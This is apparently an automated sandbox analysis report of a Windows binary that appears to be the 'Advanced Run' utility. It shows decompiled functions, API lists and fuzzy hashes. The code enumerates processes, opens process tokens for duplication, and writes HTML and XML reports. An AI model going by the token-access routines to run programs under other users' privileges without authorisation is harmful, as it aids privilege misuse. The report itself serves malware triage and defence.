										_t56 =  *_t57;
									} else {
										goto L9;
									}
								}
							} else {
								_t42 = wcschr( &_v584, 0x5c);
								if(_t42 == 0) {
									goto L9;
								} else {
									_t43 =  &(_t42[0]);
									_push(_t43);
									_push(_a4);
									L0040B278();
									if(_t43 != 0) {
										goto L9;
									} else {
										goto L5;
									}
								}
							}
						}
						goto L12;
						L9:
						_t27 = _v12 + 1;
						_v12 = _t27;
					} while (_t27 < _v20);
					goto L10;
				}
				L12:
				E004095DA( &_v72);
				return _t56;
			}

0x0040598b
0x0040598b
0x0040599a
0x004059ae
0x004059b5
0x004059c1
0x004059c6
0x004059cb
0x004059ce
0x00405a7b
0x00405a7b
0x004059d4
0x004059d4
0x004059dc
0x004059ee
0x00000000
0x004059f0
0x004059f0
0x004059f6
0x004059f7
0x004059fa
0x00405a03
0x00405a2b
0x00405a2e
0x00405a3c
0x00405a40
0x00000000
0x00405a42
0x00405a42
0x00405a54
0x00405a59
0x00405a5a
0x00405a5a
0x00405a61
0x00405a69
0x00405a7f
0x00000000
0x00000000
0x00000000
0x00405a69
0x00405a05
0x00405a0e
0x00405a17
0x00000000
0x00405a19
0x00405a19
0x00405a1c
0x00405a1d
0x00405a20
0x00405a29
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a29
0x00405a17
0x00405a03
0x00000000
0x00405a6b
0x00405a6e
0x00405a72
0x00405a72
0x00000000
0x004059d4
0x00405a81
0x00405a84
0x00405a8f

APIs

memset.MSVCRT ref: 004059B5

Part of subcall function 004095FD: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
Part of subcall function 004095FD: memset.MSVCRT ref: 0040962E
Part of subcall function 004095FD: Process32FirstW.KERNEL32(?,?), ref: 0040964A
Part of subcall function 004095FD: Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
Part of subcall function 004095FD: CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Part of subcall function 00409A94: memset.MSVCRT ref: 00409AB7
Part of subcall function 00409A94: memset.MSVCRT ref: 00409ACF
Part of subcall function 00409A94: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
Part of subcall function 00409A94: memset.MSVCRT ref: 00409B25
Part of subcall function 00409A94: GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
Part of subcall function 00409A94: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
Part of subcall function 00409A94: FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

_wcsicmp.MSVCRT ref: 004059FA
wcschr.MSVCRT ref: 00405A0E
_wcsicmp.MSVCRT ref: 00405A20
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
CloseHandle.KERNEL32(?), ref: 00405A5A
CloseHandle.KERNEL32(00000000), ref: 00405A61

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$CloseHandle$OpenProcess$Process32_wcsicmp$AddressCreateFirstFreeLibraryNextProcSnapshotTokenToolhelp32wcschr
String ID:
API String ID: 768606695-0
Opcode ID: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction ID: 2def5e4e0f7fb713a9aee1133a075480eaa7d54608268b88a97ef3230c71c50c
Opcode Fuzzy Hash: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction Fuzzy Hash: 18318472A00619ABDB10EBA1DD89AAF77B8EF04345F10457BE905F2191EB349E018F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

0x00407639
0x00407646
0x00407647
0x00407654
0x0040765f
0x0040765f
0x0040766b
0x0040766d
0x00407672
0x00407677
0x0040767d
0x00407680
0x00407686
0x00407691
0x00407697
0x00407699
0x00407699
0x0040769c
0x0040769f
0x004076a3
0x004076a7
0x004076ab
0x004076b5
0x004076be
0x004076c8
0x004076de
0x004076ee
0x004076f1
0x004076f4
0x004076fa
0x00407708
0x0040770e
0x00407718
0x0040771d
0x00407723
0x00407724
0x00407727
0x0040772c
0x0040772f
0x00407734
0x0040773f
0x00407744
0x00407745
0x0040767d
0x00407760

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

<td bgcolor=#%s>%s, xrefs: 00407657
 , xrefs: 00407702
<td bgcolor=#%s nowrap>%s, xrefs: 00407649
<tr>, xrefs: 00407661

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

0x0040605e
0x00406061
0x00406069
0x00406074
0x0040607a
0x0040607e
0x00406082
0x00406148
0x0040614e
0x00000000
0x00000000
0x00000000
0x00406088
0x00406088
0x00406093
0x00406098
0x0040609f
0x004060ae
0x004060b6
0x004060be
0x004060c6
0x004060ca
0x004060cf
0x004060d7
0x00000000
0x00000000
0x004060de
0x00406129
0x00406129
0x0040612d
0x0040612f
0x00406130
0x00406134
0x00406137
0x0040613c
0x0040613c
0x00000000
0x0040612d
0x004060e7
0x004060f0
0x004060f2
0x004060f2
0x004060f9
0x004060fd
0x00406102
0x0040610c
0x00406112
0x00406117
0x00406117
0x00406104
0x00406104
0x00406104
0x00406104
0x00406102
0x00406122
0x00406128
0x00000000
0x0040613f
0x0040613f
0x00406140
0x00000000

APIs

GetMenuItemCount.USER32 ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

6, xrefs: 004060B6
0, xrefs: 004060AE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BEE, Relevance: 10.6, APIs: 7, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402BEE(void* __ebx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				void* _t27;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t41;
				int _t50;

				_t34 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x10)) == 0 ||  *((intOrPtr*)(__ebx + 0x14)) == 0) {
					return _t27;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v8 = GetSystemMetrics(0x4e);
					_v12 = GetSystemMetrics(0x4f);
					_t41 = GetSystemMetrics(0x4c);
					_t31 = GetSystemMetrics(0x4d);
					if(_v8 == 0 || _v12 == 0) {
						_v8 = GetSystemMetrics(0);
						_v12 = GetSystemMetrics(1);
						_t41 = 0;
						_t31 = 0;
					} else {
						_v8 = _v8 + _t41;
						_v12 = _v12 + _t31;
					}
					_t50 = _v20 - _v28;
					if(_t50 > 0x14) {
						_t38 = _v24;
						_t37 = _v16 - _t38;
						if(_t37 > 0x14 && _v20 > _t41 + 5) {
							_t31 = _t31 + 0xfffffff6;
							if(_t38 >= _t31) {
								_t31 = _v28;
								if(_t31 + 0x14 < _v8 && _t38 + 0x14 < _v12 &&  *((intOrPtr*)(_t34 + 0x1c)) != 0) {
									_t31 = SetWindowPos( *(_t34 + 0x10), 0, _t31, _t38, _t50, _t37, 0x204);
								}
							}
						}
					}
					return _t31;
				}
			}

0x00402bee
0x00402bf8
0x00402cae
0x00402c08
0x00402c10
0x00402c11
0x00402c12
0x00402c13
0x00402c20
0x00402c27
0x00402c2e
0x00402c30
0x00402c37
0x00402c4b
0x00402c50
0x00402c53
0x00402c55
0x00402c3e
0x00402c3e
0x00402c41
0x00402c41
0x00402c5a
0x00402c60
0x00402c65
0x00402c68
0x00402c6d
0x00402c77
0x00402c7c
0x00402c7e
0x00402c87
0x00402ca5
0x00402ca5
0x00402c87
0x00402c7c
0x00402c6d
0x00000000
0x00402cac

APIs

GetSystemMetrics.USER32 ref: 00402C1C
GetSystemMetrics.USER32 ref: 00402C23
GetSystemMetrics.USER32 ref: 00402C2A
GetSystemMetrics.USER32 ref: 00402C30
GetSystemMetrics.USER32 ref: 00402C47
GetSystemMetrics.USER32 ref: 00402C4E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204,?,?,?,?,?,?,?,?,0040365B), ref: 00402CA5

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$Window
String ID:
API String ID: 1155976603-0
Opcode ID: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction ID: 7065afd7c6b37d04baa6ac94661e9c3c7a9384fc7fb7d7b8ebf201216021487f
Opcode Fuzzy Hash: 03bfd9196a1312a0750f0a2641b8d8190b91a017e6f04a5dd0b934da2af22e19
Instruction Fuzzy Hash: B9217F72D00219EBEF14DF68CE496AF7B75EF40318F11446AD901BB1C5D2B8AD81CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004036D5, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036D5(void* __edi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _v24;
				char _v28;
				char* _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				int _v64;
				int _v72;
				intOrPtr _v76;
				wchar_t* _v80;
				intOrPtr _v84;
				int _v92;
				char* _v96;
				intOrPtr _v104;
				struct tagOFNA _v108;
				void _v634;
				long _v636;
				void _v2682;
				char _v2684;
				void* __ebx;
				char _t37;
				intOrPtr _t38;
				int _t46;
				signed short _t54;

				_v636 = 0;
				memset( &_v634, 0, 0x208);
				_v2684 = 0;
				memset( &_v2682, 0, 0x7fe);
				_t37 =  *((intOrPtr*)(L"cfg")); // 0x660063
				_v12 = _t37;
				_t38 =  *0x40cbf0; // 0x67
				_v8 = _t38;
				_v28 = E00405B81(0x227);
				_v24 = L"*.cfg";
				_v20 = E00405B81(0x228);
				_v16 = L"*.*";
				E00405236( &_v2684,  &_v28);
				_t54 = 0xa;
				_v60 = E00405B81(_t54);
				_v104 =  *((intOrPtr*)(__edi + 0x10));
				_v48 =  &_v12;
				_v96 =  &_v2684;
				_v108 = 0x4c;
				_v92 = 0;
				_v84 = 1;
				_v80 =  &_v636;
				_v76 = 0x104;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0x80806;
				_t46 = GetSaveFileNameW( &_v108);
				if(_t46 != 0) {
					wcscpy( &_v636, _v80);
					return E0040365E(__edi, 1,  &_v636);
				}
				return _t46;
			}

0x004036ef
0x004036f6
0x0040370b
0x00403712
0x00403717
0x0040371c
0x0040371f
0x0040372c
0x00403735
0x00403738
0x00403744
0x00403751
0x00403758
0x00403760
0x00403769
0x0040376c
0x00403778
0x0040377b
0x0040378b
0x00403792
0x00403795
0x00403798
0x0040379b
0x004037a2
0x004037a5
0x004037a8
0x004037af
0x004037b7
0x004037c3
0x00000000
0x004037d4
0x004037dc

APIs

memset.MSVCRT ref: 004036F6
memset.MSVCRT ref: 00403712

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Part of subcall function 00405236: memset.MSVCRT ref: 00405257
Part of subcall function 00405236: _snwprintf.MSVCRT ref: 00405285
Part of subcall function 00405236: wcslen.MSVCRT ref: 00405291
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052A9
Part of subcall function 00405236: wcslen.MSVCRT ref: 004052B7
Part of subcall function 00405236: memcpy.MSVCRT ref: 004052CA

GetSaveFileNameW.COMDLG32(?), ref: 004037AF
wcscpy.MSVCRT ref: 004037C3

Strings

L, xrefs: 0040378B
cfg, xrefs: 00403717

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpymemsetwcslen$HandleModulewcscpy$FileLoadNameSaveString_snwprintf
String ID: L$cfg
API String ID: 275899518-3734058911
Opcode ID: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction ID: 069f946bae6f7cb0c9846f37a0b0d91fba0b14879ba0d1f27e167351657a8a18
Opcode Fuzzy Hash: 82f9c32c0c79633b068e26f34505a517ae9d13a5a1787d7b2c1c5d310a57e8a8
Instruction Fuzzy Hash: 78312AB1D04218AFDB50DFA5D889ADEBBB8FF04314F10416AE508B6280DB746A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0, Relevance: 10.6, APIs: 7, Instructions: 63
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404ED0(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v20;
				long _v276;
				long _v532;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v20) == 0 || _v20 <= 0x3e8) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v20, 0,  &_v276, 0x80);
						GetTimeFormatW(0x400, 0,  &_v20, 0,  &_v532, 0x80);
						wcscpy(_a4,  &_v276);
						wcscat(_a4, " ");
						wcscat(_a4,  &_v532);
					}
				} else {
					L5:
					wcscpy(_a4, 0x40c4e8);
				}
				return _a4;
			}

0x00404ed0
0x00404edf
0x00404ef6
0x00000000
0x00404f00
0x00404f1c
0x00404f31
0x00404f41
0x00404f4e
0x00404f5d
0x00404f66
0x00404f69
0x00404f69
0x00404f71
0x00404f77
0x00404f7d

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00404EEE
GetDateFormatW.KERNEL32(00000400,00000001,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F1C
GetTimeFormatW.KERNEL32(00000400,00000000,000003E8,00000000,?,00000080,?,?,?,?), ref: 00404F31
wcscpy.MSVCRT ref: 00404F41
wcscat.MSVCRT ref: 00404F4E
wcscat.MSVCRT ref: 00404F5D
wcscpy.MSVCRT ref: 00404F71

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction ID: 27f756489727a3478797c508db698983d473b6c4fef27ef98cb5a9ae0a7a07e8
Opcode Fuzzy Hash: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction Fuzzy Hash: 951160B2840119EBDB11AB94DC85EFE776CFB44304F04457ABA05B6090D774AA858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404FE0(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					_push(L"%2.2X");
					_push(0xff);
					_push( &_v516);
					L0040B1EC();
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, L"  ");
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}

0x00404fe0
0x00404fe9
0x00405000
0x00405005
0x00405009
0x0040500c
0x0040500e
0x00405015
0x00405016
0x00405021
0x00405026
0x00405027
0x0040502c
0x00405031
0x00405039
0x0040503f
0x00405044
0x00405048
0x0040504e
0x00405056
0x0040505c
0x0040504e
0x00405065
0x0040506a
0x00405072
0x00405079

APIs

memset.MSVCRT ref: 00405000
_snwprintf.MSVCRT ref: 00405027
wcscat.MSVCRT ref: 00405039
wcscat.MSVCRT ref: 00405056
wcscat.MSVCRT ref: 00405065

Strings

%2.2X, xrefs: 00405016

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction ID: 93e5f8641594d75a0278127c9762c797554eaad4f41234795e116b90c7bd1a0f
Opcode Fuzzy Hash: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction Fuzzy Hash: FA01B57394072566E72067569C86BBB33ACEB41714F10407BFD14B91C2EB7CDA444ADC

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00407D80(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x24)) == 0) {
					_push(L"<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\r\n");
				} else {
					_push(L"<?xml version=\"1.0\" ?>\r\n");
				}
				E00407343(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E00407250(_t31, _t19);
				_push(_t31);
				_push(L"<%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t29, _a4,  &_v1028);
			}

0x00407d9c
0x00407d9e
0x00407da5
0x00407db3
0x00407dba
0x00407dc5
0x00407dc7
0x00407dd0
0x00407dc9
0x00407dc9
0x00407dc9
0x00407dd8
0x00407de1
0x00407de5
0x00407deb
0x00407df2
0x00407df3
0x00407dfe
0x00407e03
0x00407e04
0x00407e21

APIs

memset.MSVCRT ref: 00407DA5
memset.MSVCRT ref: 00407DBA
_snwprintf.MSVCRT ref: 00407E04

Strings

<?xml version="1.0" ?>, xrefs: 00407DC9
<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00407DD0
<%s>, xrefs: 00407DF3

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction ID: f522b8c77a058770ba0888167d6ec5df55c59d6d485a4440fbbc7c77367e2349
Opcode Fuzzy Hash: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction Fuzzy Hash: E0019BB1E402197AD710A695CC45FBE766CEF44344F0001FBBA08F3191D738AE4586ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00403B3C(intOrPtr _a4) {
				void _v526;
				char _v528;
				void _v2574;
				char _v2576;
				void* __edi;
				intOrPtr _t29;

				_v2576 = 0;
				memset( &_v2574, 0, 0x7fe);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				E00404AD9( &_v528);
				_push( &_v528);
				_push(L"\"%s\" /EXEFilename \"%%1\"");
				_push(0x3ff);
				_push( &_v2576);
				L0040B1EC();
				_t37 = _a4 + 0xa68;
				E00404923(0x104, _a4 + 0xa68, L"exefile");
				E00404923(0x104, _a4 + 0xc72, L"Advanced Run");
				E00404923(0x3ff, _t37 + 0x414,  &_v2576);
				_t29 = E0040467A(_t37);
				 *((intOrPtr*)(_a4 + 0x167c)) = _t29;
				return _t29;
			}

0x00403b56
0x00403b5d
0x00403b6f
0x00403b76
0x00403b82
0x00403b8d
0x00403b8e
0x00403b99
0x00403b9e
0x00403b9f
0x00403ba7
0x00403bb9
0x00403bce
0x00403be5
0x00403bef
0x00403bf8
0x00403c00

APIs

memset.MSVCRT ref: 00403B5D
memset.MSVCRT ref: 00403B76

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

